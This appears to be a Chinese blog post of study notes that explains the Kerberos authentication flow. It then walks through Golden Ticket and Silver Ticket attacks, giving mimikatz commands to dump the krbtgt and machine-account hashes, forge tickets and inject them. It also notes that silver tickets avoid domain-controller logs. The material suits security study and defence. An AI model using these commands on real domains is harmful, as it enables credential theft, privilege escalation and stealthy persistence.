Kerberos学习笔记

Contents 隐藏
1. 前言
2. 名词对照
3. Kerberos简介
3.1. 身份认证
3.2. 图示过程
3.3. 详细过程
3.3.1. 用户登录客户端
3.3.2. 客户端认证
3.3.3. 服务授权
3.3.4. 服务请求
3.4. 缺陷
4. Golden Ticket
4.1. 先行条件
4.2. 获取NTLM Hash
4.3. 生成金票
4.4. 导入金票
4.5. 注意事项
5. Silver Tickets
5.1. 先行条件
5.2. 获取NTLM Hash
5.3. 生成并导入Silver Tickets
5.4. 与金票据的区别
5.5. 银票据可访问服务类型及其名称
6. Referer

前言

Kerberos协议作为一种网络认证协议，其设计目的是通过密钥系统为服务器应用程序和客户端提供强大的认证服务。域渗透中很重要的一点就是窃取票据获得访问其他应用的权限，这里涉及到的最重要的协议就是Kerberos协议，而Kerberos协议要解决的就是身份认证问题。

名词对照

  • Kerberos：一种网络认证协议。
  • KDC（Key Distribution Center）：密钥分发中心，包含AD、AS和TGS。
  • AD（Account Database）：存储所有客户端的白名单，只有在白名单中的客户端才可以申请TGT。
  • AS（Authentication Server）：身份认证服务。
  • TGS（Ticket Granting Server）：票据授权服务。
  • TGT（Ticket Granting Ticket）：由身份认证授予的票据，用于身份认证，存储在内存中，默认有效期限为10小时。
  • SPN（Service Principal Name）：服务器主体名称，是服务使用Kerberos身份认证网络中唯一的标识符，由服务类、主机名和端口组成。
  • ST （Service Ticket）：ST服务票据，由TGS服务发放。
  • krbtgt：krbtgt用户是在创建域时系统自动创建的一个账户，其密码是随机生成的，无法正常登陆，其作用是密钥分发中心的服务账号

Kerberos简介

Kerberos是一种网络认证协议，其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证，无需基于主机地址的信任，不要求网络上所有主机的物理安全，并假定网络上传送的数据包可以被任意的读取、修改和插入数据。在以上情况下，kerberos作为一种可信任的第三方认证服务，是通过传统的密码技术（共享密钥等）执行认证服务等。

也就是说，Kerberos在通信过程中，通讯内容即使被拦截或者被篡改也不会影响整个通讯的安全性。

身份认证

Kerberos中主要存在三种角色：

  1. 访问服务的Client
  2. 提供服务的Server
  3. 密钥分发中心KDC

通常，域控制器就是KDC，而KDC使用的密钥是krbtgt账号的NTLM Hash，同时krbtgt还会注册一个SPN。而Client和Server为域内的用户或者是服务，例如数据库等。在Kerberos中Client是否有权限访问Server的服务则由KDC发放的票据决定。

从物理层面看，AD和KDC都是域控（Domain Controller）。

图示过程

Kerberos认证过程（简化）：

  1. AS-REQ：使用密码转换成的NTLM Hash加密的时间戳作为凭据向AS发起请求（包含明文用户名）。
  2. AS-REP：KDC使用数据库中对应用户的NTLM Hash解密请求，如果解密正确就返回由KDC密钥（krbtgt hash）加密的TGT票据。
  3. TGS-REQ：用户使用返回的TGT票据向KDC发起特定服务的请求。
  4. TGS-REP：使用KDC密钥对请求进行解密，如果正确就使用目标服务的账户Hash对TGS票据进行加密并返回（无权限验证，只要TGT票据正确就返回TGS票据）。
  5. AP-REQ：用户向服务发送TGS票据。
  6. AP-REP：服务使用自己的NTLM Hash解密ST。

详细过程

从用户在域内登录客户端，到和服务器通信获取到相应的服务整个过程中，一共可以分为三步：客户端认证、服务授权、服务请求

用户登录客户端

  1. 输入用户ID和密码
  2. 客户端利用质询的NTLM协议将密码转换成密钥，形成了客户端的“用户密钥”

客户端认证

客户端（Client）从认证服务器（AS）获取票据的票据（TGT）

  • 客户端
    向Kerberos发送客户端信息和相应的请求（Client向AS发送一条明文消息），此时不需要发送密钥或者密码（AS能够从本地数据库中查询到申请用户的密码，并通过相同途径转换成相同的用户密钥（user’s secret key））。
  • Kerberos
    AS检查该用户ID是否存在本地数据库中，验证完成后返回两条信息：
  1. Client/TGS Session key，这个密钥用来在客户端和TGS之间进行通信，使用该用户的NTLM Hash进行加密。（消息1）
  2. TGT，包含信息：消息1中的Client/TGS Session key，用户ID，用户网址，消息2的有效期，通过TGS的密钥（TGS’s secret key）进行加密。（消息2）
  • 客户端
    客户端收到消息后，首先用自己的用户NTLM Hash解密消息1，获得其中的Client/TGS Session key。
    客户端不需要也不能解密消息2，只需要消息1中的Client/TGS Session key就可以向TGS发起请求。

服务授权

客户端（Client）从TGS获取票据（Client-to-Server Ticket）

  • 客户端
    客户端想要申请指定的服务时，向TGS发送两条消息：
  1. 消息2的内容（TGS’s secret key加密后的TGT）、想要获取的服务的服务ID（不是用户ID）。（消息3）
  2. 认证符（Authenticator），其中包含用户ID和时间戳，使用消息1中解密出来的TGS Session key（Client/TGS Session key）进行加密。（消息4）
  • Kerberos
  1. 收到客户端发起的两条请求后，TGS先去KDC数据库中查找客户端发来的消息3中的服务ID是否存在，然后用自己的TGS密钥解密消息3中的消息2（也就是TGT），得到Client/TGS Session Key。
  2. 之后TGS使用Session key解密消息4，得到用户ID信息和时间戳，核对完成之后向客户端发送两条信息。
  3. 客户端-服务器票据（Client-to-Server Ticket），其中包含Client/Server Session Key，用户ID，用户网址和票据有效期。使用提供该服务的服务器密钥进行加密（service’s secret key）。（消息5）
  4. Client/Server Session Key（该Session Key用在将来Client与Server Service的通信（会话）上）。使用Client/Server Session Key进行加密。（消息6）
  • 客户端
    客户端收到消息后，用消息1中的Client/TGS Session Key解密消息6，得到其中的Client/Server Session Key。

而消息5客户端是无法解密的，因为它用服务器密码进行加密。

服务请求

  • 客户端
    当客户端拿到消息6中的Client/Server Session Key之后，就可以向服务器请求服务了，它会向服务器发送两条消息。
  1. 消息5，也就是用服务器密钥加密的Client-to-Server Ticket
  2. 新的Authenticator（包含用户ID和时间戳），使用Client/Server Session Key进行加密。（消息7）
  • 服务器
  1. 当服务器收到消息后，会用自己的服务器密钥解密消息7得到Client-to-Server Ticket，即得到了Client/Server Session Key。
  2. 再使用得到的Client/Server Session Key解密消息7，得到Authenticator，获取其中的用户ID和时间戳。

同TGS一样，对Ticket和Authenticator进行验证，验证通过之后，客户端的认证就可以得到确认，服务器就会给客户端提供服务，向客户端发送1条消息：

  1. 新的时间戳，使用Client/Server Session Key加密。（消息8）
  • 客户端
    客户端拿到消息8之后，用Client/Server Session Key解密，验证时间戳，确认服务器身份，然后就开始向服务器发送请求。
  • 服务器
    服务器向客户端提供相应的服务。

缺陷

  • 需要中心服务器持续响应。当Kerberos服务宕机，就没办法请求任何服务。可以通过使用复合Kerberos服务器和缺陷认证机制弥补。
  • Kerberos要求参与通信的主机时钟同步。票据具有一定有效期，如果客户端时钟与Kerberos服务器不同步，认证就会失败。默认设置时钟的时间差不超过10分钟。通常使用网络时间协议后台程序来保持主机时钟同步。
  • DC被控全家遭殃。
  • 客户端防御差，用户密码/哈希也会被拿走。

Golden Ticket

根据之前的学习，我们知道了每个用户的票据都是由krbtgt的NTLM Hash加密生成的，如果我们拿到了krbtgt的NTLM Hash就可以伪造任意用户的票据。当获得域控权限时，就可以用krbtgt的NTLM Hash和mimikatz生成任意用户的票据，这个被称为金票据（Golden Ticket）。由于是伪造的TGT，没有与KDC的AS通信，因此会作为TGS- REQ的一部分发送到域控制器获取服务票据。

先行条件

制作金票据需要：

域名称
域的SID值
域的KRBTGT账户密码HASH
伪造用户名，可以是任意的

获取NTLM Hash

首先利用mimikatz获取krbtgt的Hash

lsadump::dcsync /domain:light.top /user:krbtgt

最重要的是获取Object Security ID和Hash NTLM

我们需要的是域的SID值，因此要去掉Object Security ID后面的502

生成金票

kerberos::golden /admin:administrator /domain:light.top /sid:*** /krbtgt:*** /ticket:golden.kiribi

参数说明：

/admin:     伪造的用户名
/domain:    域名称
/sid:       SID值，注意是去掉最后一个-后面的值
/krbtgt:    krbtgt的HASH值
/ticket:    生成的票据名称

此时已获得伪造的金票：golden.kiribi

导入金票

将伪造的金票导入

kerberos::ptt golden.kiribi

查看当前会话中的票据

kerberos::list
kerberos::tgt

删除当前会话中的票据

kerberos::purge

注意事项

  • 域Kerberos策略默认信任票据的有效时间
  • krbtgt密码被连续修改两次后金票据失效
  • 可以在任意能够与域控制器通信的主机上生成和使用金票据
  • 导入的20分钟内KDC不会检查票据中用户是否有效

Silver Tickets

银票据是通过伪造TGS Ticket来访问服务的，但是只能访问特定服务器上的任意服务，优点在于只有用户和服务器通信，没有和域控制器（KDC）通信，域控制器上无日志可作为权限维持的后门使用。

先行条件

制作银票据需要：

/domain:    域名称
/sid:       SID值，注意是去掉最后一个-后面的值
/target     目标服务器的域名全称
/service    目标服务器上需要伪造的服务
/rc4        计算机账户的NTLM Hash
/user       要伪造的用户名，可指定任意用户

获取NTLM Hash

privilege::Debug
sekurlsa::logonpasswords

生成并导入Silver Tickets

kerberos::golden /domain:light.top /sid:*** /target:dc.light.top /service:cifs /rc4:*** /user:silver /ptt

还可以通过银票据访问域控上的LDAP服务得到krbtgt hash生成金票据，只需要把/service名称改为LDAP。

与金票据的区别

金票据：

  • 访问权限：
    • 伪造TGT，可以获取任何Kerberos服务权限
  • 加密方式：
    • 由krbtgt的hash加密
  • 认证流程：
    • 需要与域控通信

银票据：

  • 访问权限：
    • 伪造TGS，只能获取指定服务权限
  • 加密方式：
    • 由服务账户（计算机账户）Hash加密
  • 认证流程：
    • 不需要与域控通信

银票据可访问服务类型及其名称

服务类型名称
WMIHOST、PRCSS
PowerShell RemotingHOST、HTTP
WinRMHOST、HTTP
ScheduledHOST
Windows File ShareCIFS
LDAPLDAP
Windows Remote Administration ToolsRPCSS、LDAP、CIFS

Referer

内网渗透 Kerberos 协议学习笔记 - 肖洋肖恩、 - 博客园
《渗透攻击红队百科全书》
https://zh.wikipedia.org/wiki/Kerberos
《从0到1 CTFer成长之路》

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注